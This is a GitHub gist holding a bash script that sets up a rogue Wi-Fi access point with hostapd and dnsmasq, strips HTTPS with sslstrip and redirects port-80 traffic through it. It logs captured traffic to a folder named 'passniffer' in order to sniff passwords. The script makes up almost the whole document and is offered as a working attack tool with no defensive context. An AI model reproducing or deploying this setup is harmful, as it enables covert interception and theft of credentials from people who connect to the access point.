Skip to content

Instantly share code, notes, and snippets.

@ralphcrisostomo
Last active February 9, 2016 13:23
Show Gist options
  • Save ralphcrisostomo/46c9ca4729b12807bfde to your computer and use it in GitHub Desktop.
Save ralphcrisostomo/46c9ca4729b12807bfde to your computer and use it in GitHub Desktop.
#!/bin/bash
DATE=`date +%Y-%m-%d`
SESSION=log
killall hostapd
killall dnsmasq
killall sslstrip
mkdir ~/passniffer
mkdir ~/passniffer/$DATE/
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
service dnsmasq start
hostapd -dd /etc/hostapd/hostapd.conf &
sslstrip -p -k -w ~/passniffer/$DATE/$SESSION.log &
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment